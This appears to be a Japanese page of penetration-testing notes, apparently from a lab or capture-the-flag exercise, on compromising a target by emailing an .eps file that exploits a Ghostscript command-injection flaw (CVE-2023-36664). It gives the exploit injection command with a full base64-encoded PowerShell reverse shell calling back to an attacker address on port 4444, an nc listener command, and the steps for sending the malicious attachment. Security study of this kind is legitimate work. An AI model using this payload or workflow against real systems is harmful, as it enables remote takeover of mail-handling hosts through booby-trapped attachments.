> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/file-upload-attack/file-upload-+-reverse-shell-.eps-pentesting-web.md).

# ファイルアップロードとリバースシェル .eps

ファイルアップロードとリバースシェル .eps に関する、Webアプリケーションのペネトレーションテスト、エクスプロイトのワークフロー、ペイロード検証、影響評価、修正の文脈でのメモ。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b273a5bfca06e73f71782791d84f2ed96cabfe5%2Fimage%20(1709).png?alt=media" alt=""><figcaption></figcaption></figure>

**制限付きメールボックスの発見：** EPS形式のデザインの受信を希望するメールボックスの発見。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70ad865c9d7ad82954e23d1aaa4012cdcc581e3e%2Fimage%20(1710).png?alt=media" alt=""><figcaption></figcaption></figure>

**.epsファイルを介したGhostscriptの悪用：** ある [exploit ](https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection/blob/main/CVE_2023_36664_exploit.py)GitHubベースの [Ghostscript](https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection/blob/main/CVE_2023_36664_exploit.py) .eps拡張子のファイルを介して悪意のあるコードを実行するために。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe90f42a93cc828f43188e082f735e0bf630f60e%2Fimage%20(1659).png?alt=media" alt=""><figcaption></figcaption></figure>

#### ～の使用 [RevShells ](https://www.revshells.com/)PowerShellのペイロードを作成するために：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-82b3bac7a720f980225ac35dd975d47d620db3f0%2Fimage%20(1658).png?alt=media" alt=""><figcaption></figcaption></figure>

#### .epsファイルへのペイロードの注入：

.epsファイルにリバースシェル付きのペイロードを注入するコマンドの使用。

{% code fullWidth="true" %}

```bash
python3 exploit.py --inject --payload "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgAiACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" --filename file.eps

```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2948bcf9bf533cf34d3985613e37b98d8a38046%2Fimage%20(1661).png?alt=media" alt=""><figcaption></figcaption></figure>

#### rlwrapでリスナーを起動：

着信ログインを待機するための、rlwrapを使ったリスナー設定の構成。

```bash
rlwrap nc -nlvp 4444

```

#### 悪意のあるEPSファイルを添付したメールの送信：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e16c0fbab1dcf9c00ba2b847f53d87e7ee8c76ce%2Fimage%20(1662).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e3cc495ddd3291f8bcbc68e3178a4eabc9e1243%2Fimage%20(1663).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


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